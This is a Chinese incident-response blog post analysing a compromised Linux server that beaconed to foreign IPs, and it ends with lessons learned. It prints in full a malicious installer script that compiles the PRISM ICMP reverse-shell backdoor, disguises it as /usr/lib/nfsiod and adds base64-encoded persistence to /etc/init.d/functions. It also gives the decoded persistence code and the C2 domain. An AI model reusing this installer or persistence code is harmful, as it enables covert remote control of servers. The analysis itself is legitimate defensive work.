这篇文章上次修改于 2276 天前,可能其部分内容已经发生变化,如有疑问可询问作者。 ###前言 某晚客户安全设备监测到客户端存在异常请求,频繁请求境外IP的可疑脚本文件。通过对服务器检查发现,服务器每隔30分钟会请求2个境外(美国)IP。 同时防火墙也拦截了部分对境外web服务器的pl脚本文件请求,但进行检查时pl脚本已不存在,GET请求: ``` GET http://63.80.4.1.*/cgi-bin/mgetmetar.pl?cccc=ZBAA GET http://63.80.4.*/cgi-bin/mgetmetar.pl?cccc=ZBAA GET http://104.116.243.*/cgi-bin/mgetmetar.pl?cccc=KBOS GET http://65.200.22.*/cgi-bin/mgetmetar.pl?cccc=ZBAA GET http://65.200.22.*/cgi-bin/mgetmetar.pl?cccc=ZBAA ``` ###木马分析 对服务器进行检查发现,服务器增加一枚“xxx”用户,并在该用户目录下存放1个C程序、gz压缩包及sh脚本文件,每隔30分钟会请求2个境外IP获取指令,分别为:65.200.22.208(美国)和65.200.22.233(美国):  3个文件都是2017年创建,最早的文件auto.sh脚本文件在2017年10月28日创建:  以下为auto.sh脚本文件的内容: ```shell #!/usr/bin/env bash # Author:0x50 0x68 0x61 0x6E 0x74 0x30 0x6D # 2013-11-16 os_bit=`uname -p` if [ $# -ne 2 ] then echo -e "\033[31m Usage:$0 reverseIP PORT \033[0m" exit 1; fi cd /tmp sed -i "/define REVERSE_HOST/ {s/10.0.0.1/$1/g}" prism.c sed -i "/define REVERSE_PORT/ {s/19832/$2/g}" prism.c if [ ${os_bit} = "x86_64" ] then gcc -DDETACH -DSTATIC -m64 -Wall -s -o prism prism.c else gcc -DDETACH -DSTATIC -m32 -Wall -s -o prism prism.c fi rm -f prism.c \mv prism /usr/lib/nfsiod /usr/lib/nfsiod echo "reverse shell backdoor install complete~" echo "reverseIP: $1,PORT: $2 " echo UElEUz1gcHMgLWVmIHwnXFtuZnNpb2RcXScgfGdyZXAgLXYgZ3JlcCB8IGF3ayAne3ByaW50ICQyfSdgDQppZiBbICIkUElEUyIgIT0gIiIgXTsgdGhlbg0Ka2lsbCAtOSAkUElEUw0KL3Vzci9saWIvbmZzaW9kIDE+L2Rldi9udWxsIDI+L2Rldi9udWxsDQoJZWxzZQ0KL3Vzci9saWIvbmZzaW9kIDE+L2Rldi9udWxsIDI+L2Rldi9udWxsDQpmaQ0KIA0KIA0KIA==|base64 -d >> /etc/init.d/functions ``` 上述文件替换反向连接的IP及端口替换掉prism.c中的对应内容,然后进行gcc编译,并在编译前判断是64位或32位系统;接着编译生成的prism文件替换为“/usr/lib/nfsiod”并执行。 脚本结尾将下图Base64内容写入:“/etc/init.d/functions”文件中,通过解密字符串为以下内容:  > base64解密后的代码: ```shell PIDS=`ps -ef |'\[nfsiod\]' |grep -v grep | awk '{print $2}'` if [ "$PIDS" != "" ]; then kill -9 $PIDS /usr/lib/nfsiod 1>/dev/null 2>/dev/null else /usr/lib/nfsiod 1>/dev/null 2>/dev/null fi ``` 通过if判断实现不管通过ps –ef命令是否能查到进程ID都执行该程序并将程序输出丢入/dev/null(黑洞),已达到没任何输出信息及隐藏作用。 ps –ef命令查看进程存在7个名为nfsiod的进程,但在/proc/pid中未发现内容:  木马文件主程序prism.c文件,该文件为反弹shell脚本,使服务器运行后主动连接域名zzz.457467.com。 后面了解到是一款icmp反弹后门,github项目地址: [github传送门:PRISM](https://github.com/andreafabrizi/prism "PRISM")  程序内包含清除防火墙iptables策略功能:  使用ICMP+Key通讯:  主要作用为启用的多个nfsiod进程主动去连接域名zzz.457467.com,以达到可以随时连接到被攻击的服务器为目的。 ###写到最后 本次应急是一两年前的一次事件应急,总是想写点东西还总是太懒了 - -! > 此次应急,有以下几点总结: - 本次排查过程中ssh的日志及web日志记录周期太短了,在排查过程中很局限,没发挥太大作用。 - 木马脚本的日期最早是2017年10月创建的,需了解期间服务器的变动及负责人。 - 从整个分析及对互联网的防护策略来看,不是从Web作为攻击点进行攻击的。 - 如果从80业务端口攻击的话,能写入服务器文件及创建操作系统用户的话需要的权限很高,结合上条似乎有其他原因。
没有评论